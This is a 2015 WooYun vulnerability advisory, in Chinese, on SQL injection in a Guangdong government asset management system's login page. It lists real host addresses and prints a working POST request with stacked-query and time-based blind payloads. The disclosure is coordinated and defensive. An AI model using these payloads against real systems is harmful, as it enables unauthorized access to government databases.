当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0110764

漏洞标题:某行政事业单位资产管理系统通用SQL注入漏洞

相关厂商:广州市盛祺计算机信息技术有限公司

漏洞作者: 路人甲

提交时间:2015-04-28 11:54

修复时间:2015-07-29 17:04

公开时间:2015-07-29 17:04

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-28: 细节已通知厂商并且等待厂商处理中
2015-04-30: 厂商已经确认,细节仅向厂商公开
2015-05-03: 细节向第三方安全合作伙伴开放
2015-06-24: 细节向核心白帽子及相关领域专家公开
2015-07-04: 细节向普通白帽子公开
2015-07-14: 细节向实习白帽子公开
2015-07-29: 细节向公众公开

简要描述:

某行政事业单位资产管理系统通用SQL注入漏洞

详细说明:

系统名称:行政事业单位资产管理系统通用SQL注入漏洞
系统架构:ASPX+MSSQL
主要使用范围:广东省(看广东省政府新闻上,还在推广,这得赶紧修复啊,避免造成更大的影响)
漏洞文件:gdczsam/mainframe/login.jsp
注入参数:userName
基于登陆处的注入
应要求,部分案例列举如下:
http://61.146.213.192/gdczsam/index.jsp
http://210.76.65.208:7001/gdczsam/index.jsp
http://61.145.75.123:8000/gdczsam/index.jsp
http://218.16.249.227:7001/gdczsam/index.jsp
http://218.16.249.227:7001/gdczsam/index.jsp
http://121.11.76.118:9090/gdczsam/index.jsp

应该是在各地区正在推广了

漏洞证明:

漏洞验证:
以http://61.146.213.192/gdczsam/index.jsp为例:

POST /gdczsam/mainframe/login.jsp HTTP/1.1
Accept: application/x-ms-application, image/jpeg, application/xaml+xml, image/gif, image/pjpeg, application/x-ms-xbap, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: http://61.146.213.192/gdczsam/index.jsp
Accept-Language: zh-CN
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Content-Length: 63
DNT: 1
Host: 61.146.213.192
Pragma: no-cache
Cookie: JSESSIONID=rBZ6ZxroVT5b03g0XCUSxUQFn4gbGopjps0A; userName=; UserNamePW_Remeber=0; userPassword=; UserNamePW_Remeber2=0
userName=admin%27&userPassword=a95ab7b730f1f7d8acbf693c21b7f534


Place: POST
Parameter: userName
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: userName=admin'; WAITFOR DELAY '0:0:5'--&userPassword=a95ab7b730f1f
7d8acbf693c21b7f534
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: userName=admin' WAITFOR DELAY '0:0:5'--&userPassword=a95ab7b730f1f7
d8acbf693c21b7f534
---


11.png


延时注入。。
数据库信息如下:

11.png


其他如上!毕竟省级系统,点到为止!

修复方案:

必要的参数过滤。。。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2015-04-30 17:03

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT下发给相应分中心,由其后续协调网站管理单位处置

最新状态:

暂无